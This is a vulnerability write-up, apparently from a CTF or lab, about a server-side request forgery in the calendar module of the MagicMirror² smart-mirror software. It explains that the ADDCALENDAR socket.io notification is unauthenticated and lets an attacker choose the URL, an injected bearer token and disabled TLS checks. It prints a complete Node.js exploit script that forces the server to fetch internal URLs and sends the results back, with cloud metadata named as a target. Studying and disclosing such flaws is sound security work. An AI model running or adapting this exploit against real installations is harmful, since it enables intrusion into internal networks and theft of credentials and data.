Vulnerability — SSRF via ADDCALENDAR (MagicMirror² calendar)
Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/nodehelper.js of MagicMirror², socket.io namespace /calendar.
---
Identification
| Field | Value | |-------|-------| | PoC file | exploit-ssrf-calendar.js | | Endpoint | socket.io namespace /calendar, notification ADDCALENDAR | | Precondition | reach the mirror's HTTP port (no authentication required) |
---
Description
The ADDCALENDAR handler in calendar/nodehelper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.
Worse, the attacker also controls: - the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." }); - the selfSignedCert flag, which disables TLS verification of the server-side request.
When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAREVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).
---
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
js const io = new Server(server, { cors: { origin: /.$/, credentials: true } });
The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
---
Exploit (exploit-ssrf-calendar.js)
js const { io } = require("socket.io-client");
const TARGET = process.env.MM || "http://TARGET:8888"; const INTERNALURL = process.argv[2] || process.env.SSRFURL || "https://webhook.site/";
const socket = io(${TARGET}/calendar, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => { if (event === "CALENDAREVENTS") { console.log("\n[+] CALENDAREVENTS received from server (SSRF response exfiltrated):"); for (const ev of payload.events || []) { console.log(" SUMMARY:", ev.title); if (ev.title && ev.title.includes("FLAG{")) { console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:"); console.log(" " + ev.title); process.exit(0); } } } else if (event === "CALENDARERROR") { console.log("[-] CALENDARERROR:", JSON.stringify(payload)); } });
socket.on("connect", () => { console.log([] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}); console.log([] Forcing server-side fetch of internal target: ${INTERNALURL}); socket.emit("ADDCALENDAR", { url: INTERNALURL, fetchInterval: 60000, excludedEvents: [], maximumEntries: 10, maximumNumberOfDays: 3650, auth: { method: "bearer", pass: "internal-admin-token" }, broadcastPastEvents: true, selfSignedCert: true, id: "pwn" }); });
socket.on("connecterror", (e) => console.log("[-] connecterror:", e.message));
setTimeout(() => { console.log("\n[] timeout, exiting"); process.exit(1); }, 20000);
---
Vulnerable target code (pattern)
js socketNotificationReceived(notification, payload) { if (notification === "ADDCALENDAR") { const fetcher = new CalendarFetcher( payload.url, payload.fetchInterval, payload.excludedEvents, payload.maximumEntries, payload.maximumNumberOfDays, payload.auth, payload.broadcastPastEvents, payload.selfSignedCert ); fetcher.fetchCalendar(); } }
---
Impact
- Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target. - TLS bypass via selfSignedCert: true. - Internal port scanning through error/timing differences.
---